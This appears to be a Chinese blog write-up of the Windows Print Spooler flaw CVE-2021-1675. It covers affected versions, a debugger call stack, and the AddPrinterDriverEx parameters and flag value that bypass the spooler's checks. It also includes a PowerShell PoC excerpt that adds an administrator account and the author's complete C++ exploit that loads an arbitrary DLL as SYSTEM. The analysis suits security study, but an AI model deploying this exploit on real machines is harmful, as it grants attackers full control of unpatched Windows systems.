【CVE-2021-1675】Spoolsv打印机服务任意DLL加载漏洞分析

漏洞详情

简介

打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。

影响版本

windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019

危害等级

8.8 ∣ H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8  HIGH

漏洞复现

【环境】 W i n 10 1909 18363.592 x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64

POC下载见参考

非管理员权限下,直接利用漏洞添加一个管理员账户

在这里插入图片描述

漏洞分析

加载任意模块调用栈

# Child-SP          RetAddr               Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233     ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96     ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7     ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608     ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360     ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536     ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8     ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764     ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0     ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1     KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395     winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f     winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5     PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7     PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a     localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864     localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee     localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21     localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4     localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf     localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292     localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf     localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e     spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634     spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983     spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036     RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c     RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8     RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951     RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f     RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301     RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d     RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2     ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4     ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1     KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000     ntdll!RtlUserThreadStart+0x21

POC分析

POC主要做两件事:

  1. 枚举本地Windows x64环境下的所有打印机驱动

    if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){$driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)} else {Write-Host "[!] failed to get current driver list"[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)return}
    
  2. 添加打印机驱动

    $driver_info = New-Object $DRIVER_INFO_2$driver_info.cVersion = 3$driver_info.pConfigFile = $DLL$driver_info.pDataFile = $DLL$driver_info.pDriverPath = $driver.pDriverPath$driver_info.pEnvironment = "Windows x64"$driver_info.pName = $DriverName$pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))[System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {if ( $delete_me ) {Write-Host "[+] added user $NewUser as local administrator"} else {Write-Host "[+] driver appears to have been loaded!"}} else {Write-Error "[!] AddPrinterDriverEx failed"}
    

重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:

BOOL AddPrinterDriverEx(_In_    LPTSTR pName,_In_    DWORD  Level,_Inout_ LPBYTE pDriverInfo,_In_    DWORD  dwFileCopyFlags
);
  • pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。

  • Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。

  • pDriverInfo - 根据Level的取值,该参数对应的结构有

    Level结构体
    2DRIVER_INFO_2
    3DRIVER_INFO_3
    4DRIVER_INFO_4
    6DRIVER_INFO_6
    8DRIVER_INFO_8

    2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。

    typedef struct _DRIVER_INFO_2 {DWORD  cVersion;						// 为其编写驱动程序的操作系统版本。 支持的值为 3。LPTSTR pName;							// 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。LPTSTR pEnvironment;					// 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。LPTSTR pDriverPath;					// 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。LPTSTR pDataFile;						// 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。LPTSTR pConfigFile;					// 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。
    } DRIVER_INFO_2, *PDRIVER_INFO_2;
    
  • dwFileCopyFlags - 含义如下:

    含义
    APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。
    APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。
    APD_COPY_NEW_FILES添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。
    APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。
    APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。

从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx

要想成功添加打印机驱动,中间要通过两处关键检查。

  • S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:

在这里插入图片描述

  • I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:

在这里插入图片描述

最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。

漏洞利用

为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2pDriverPath字段中。然后参数dwFileCopyFlags0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。

我的EXP代码:

#include <iostream>
#include <windows.h>void Exploit()
{const char* pName = "Hack";const char* pVenomDll = "Your venmo dll";const char* pEnvironment = "Windows x64";PDRIVER_INFO_2A pDrvInfo = NULL;DRIVER_INFO_2A drvInfo;PBYTE pBuffer = NULL;DWORD cbNeed = 0;DWORD nDrv;BOOL bRet;// 枚举本地所有Windows x64的打印机bRet = EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,NULL,cbNeed,&cbNeed,&nDrv);pBuffer = new BYTE[cbNeed];if (pBuffer == NULL)goto cleanup;bRet = EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,pBuffer,cbNeed,&cbNeed,&nDrv);if (!bRet)goto cleanup;pDrvInfo = (PDRIVER_INFO_2A)pBuffer;for (DWORD i = 0; i < nDrv; i++){printf("[+] DriverName: %s\n""    DriverPath: %s\n",pDrvInfo[i].pName,pDrvInfo[i].pDriverPath);}drvInfo.cVersion = 3;drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;drvInfo.pConfigFile = (LPSTR)pVenomDll;drvInfo.pDataFile = (LPSTR)pVenomDll;drvInfo.pEnvironment = (LPSTR)pEnvironment;drvInfo.pName = (LPSTR)pName;bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);if (!bRet){printf("[-] ErrorCode: 0x%x\n", GetLastError());}cleanup:if (pBuffer)delete[] pBuffer;
}int main()
{Exploit();return 0;
}

参考

[1] https://github.com/calebstewart/CVE-2021-1675

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/168289.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第97步 深度学习图像目标检测:RetinaNet建模

基于WIN10的64位系统演示 一、写在前面 本期开始&#xff0c;我们继续学习深度学习图像目标检测系列&#xff0c;RetinaNet模型。 二、RetinaNet简介 RetinaNet 是由 Facebook AI Research (FAIR) 的研究人员在 2017 年提出的一种目标检测模型。它是一种单阶段&#xff08;o…

RabbitMQ 安装(在docker容器中安装)

为什么要用&#xff1f; RabbitMQ是一个开源的消息代理和队列服务器&#xff0c;主要用于在不同的应用程序之间传递消息。它实现了高级消息队列协议&#xff08;AMQP&#xff09;&#xff0c;并提供了一种异步协作机制&#xff0c;以帮助提高系统的性能和扩展性。 RabbitMQ的作…

​LeetCode解法汇总2304. 网格中的最小路径代价

目录链接&#xff1a; 力扣编程题-解法汇总_分享记录-CSDN博客 GitHub同步刷题项目&#xff1a; https://github.com/September26/java-algorithms 原题链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 描述&#xff1a; 给你一个下…

Flink实战(11)-Exactly-Once语义之两阶段提交

0 大纲 [Apache Flink]2017年12月发布的1.4.0版本开始&#xff0c;为流计算引入里程碑特性&#xff1a;TwoPhaseCommitSinkFunction。它提取了两阶段提交协议的通用逻辑&#xff0c;使得通过Flink来构建端到端的Exactly-Once程序成为可能。同时支持&#xff1a; 数据源&#…

【Redis】前言--介绍redis的全局系统观

一.前言 学习是要形成自己的网状知识以及知识架构图&#xff0c;要不最终都还是碎片化的知识&#xff0c;不能达到提升的目的&#xff0c;只有掌握了全貌的知识才是全解&#xff0c;要不只是一知半解。这章会介绍redis的系统架构图&#xff0c;帮助认识redis的设计是什么样的&a…

解决几乎任何机器学习问题 -- 学习笔记(组织机器学习项目)

书籍名&#xff1a;Approaching (Almost) Any Machine Learning Problem-解决几乎任何机器学习问题 此专栏记录学习过程&#xff0c;内容包含对这本书的翻译和理解过程 我们首先来看看文件的结构。对于你正在做的任何项目,都要创建一个新文件夹。在本例中,我 将项目命名为 “p…

笔记:内网渗透流程之信息收集

信息收集 首先&#xff0c;收集目标内网的信息&#xff0c;包括子网结构、域名信息、IP地址范围、开放的端口和服务等。这包括通过主动扫描和渗透测试工具收集信息&#xff0c;以及利用公开的信息源进行信息搜集。 本机信息收集 查看系统配置信息 查看系统详细信息&#xf…

电子桌牌如何赋能数字化会务?以深圳程序员节为例。

10月24日&#xff0c;由深圳市人民政府指导&#xff0c;深圳市工业和信息化局、龙华区人民政府、国家工业信息安全发展研究中心、中国软件行业协会联合主办的2023深圳中国1024程序员节开幕式暨主论坛活动在深圳龙华区启幕。以“领航鹏城发展&#xff0c;码动程序世界”为主题&a…

模拟退火算法应用——求解函数的最小值

仅作自己学习使用 一、问题 需求&#xff1a; 计算函数 的极小值&#xff0c;其中个体x的维数n10&#xff0c;即x(x1,x2,…,x10)&#xff0c;其中每一个分量xi均需在[-20,20]内。因此可以知道&#xff0c;这个函数只有一个极小值点x (0,0,…,0)&#xff0c;且其极小值是0&…

医保线上购药系统:引领医疗新潮流

在科技的驱动下&#xff0c;医疗健康服务正经历一场数字化的革新。医保线上购药系统&#xff0c;不仅是一种医疗服务的新选择&#xff0c;更是技术代码为我们的健康管理带来的全新可能。本文将通过一些简单的技术代码示例&#xff0c;深入解析医保线上购药系统的工作原理和优势…

MySQL数据库主从集群搭建

快捷查看指令 ctrlf 进行搜索会直接定位到需要的知识点和命令讲解&#xff08;如有不正确的地方欢迎各位小伙伴在评论区提意见&#xff0c;博主会及时修改&#xff09; MySQL数据库主从集群搭建 主从复制&#xff0c;是用来建立一个和主数据库完全一样的数据库环境&#xff0c…

短视频获客系统成功分享,与其开发流程与涉及到的技术

先来看实操成果&#xff0c;↑↑需要的同学可看我名字↖↖↖↖↖&#xff0c;或评论888无偿分享 一、短视频获客系统的开发流程 1. 需求分析&#xff1a;首先需要对目标用户进行深入了解&#xff0c;明确系统的功能和目标&#xff0c;制定详细的需求文档。 2. 系统设计&#…

关于vs code Debug调试时候出现“找不到任务C/C++: g++.exe build active file” 解决方法

vs code Debug调试时候出现“找不到任务C/C: g.exe build active file” &#xff0c;出现报错&#xff0c;Debug失败 后来经过摸索和上网查找资料解决问题 方法如下 在Vs code的操作页面左侧有几个配置文件 红框里的是需要将要修改的文件 查看tasks.json和launch.json框选&…

Android Frameworks 开发总结之七

1.修改android 系统/system/下面文件时权限不够问题 下面提到的方式目前在Bobcat的userdebug image上测试可行&#xff0c;还没有在user上测试过. 修改前: leifleif:~$ adb root restarting adbd as root leifleif:~$ adb disable-verity verity is already disabled using …

Find My鼠标|苹果Find My技术与鼠标结合,智能防丢,全球定位

随着折叠屏、多屏幕、OLED 等新兴技术在个人计算机上的应用&#xff0c;产品更新换代大大加速&#xff0c;进一步推动了个人计算机需求的增长。根据 IDC 统计&#xff0c;2021 年全球 PC 市场出货量达到 3.49 亿台&#xff0c;同比增长 14.80%&#xff0c;随着个人计算机市场发…

亚马逊云科技re:Invent大会:云计算与生成式AI共筑科技新局面,携手构建未来

随着科技的飞速发展&#xff0c;云计算和生成式 AI 已经成为了推动科技进步的重要力量。这两者相互结合&#xff0c;正在为我们创造一个全新的科技局面。 亚马逊云科技的re:Invent大会再次证明了云计算和生成式AI的强大结合正在塑造科技的新未来。这次大会聚焦了云计算的前沿技…

为什么要隐藏id地址?使用IP代理技术可以实现吗?

随着网络技术的不断发展&#xff0c;越来越多的人开始意识到保护个人隐私的重要性。其中&#xff0c;隐藏自己的IP地址已经成为了一种常见的保护措施。那么&#xff0c;为什么要隐藏IP地址&#xff1f;使用IP代理技术可以实现吗&#xff1f;下面就一起来探讨这些问题。 首先&am…

Qt 软件调试(二)使用dump捕获崩溃信息

Qt应用程序异常崩溃该怎么办&#xff0c;生成dump文件再回溯分析&#xff0c;可以快速且准确的帮助我们定位到崩溃的点。那么&#xff0c;本章我们分享下如何在Qt中生成dump文件。 一、使用minudump捕获崩溃信息 #include <QCoreApplication> #include <QDir> #i…

【洛谷 P1636】Einstein学画画 题解(图论+欧拉通路)

Einstein学画画 题目描述 Einstein 学起了画画。 此人比较懒~~&#xff0c;他希望用最少的笔画画出一张画…… 给定一个无向图&#xff0c;包含 n n n 个顶点&#xff08;编号 1 ∼ n 1 \sim n 1∼n&#xff09;&#xff0c; m m m 条边&#xff0c;求最少用多少笔可以画…

nodejs微信小程序+python+PHP-书吧租阅管理系统的设计与实现-安卓-计算机毕业设计

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…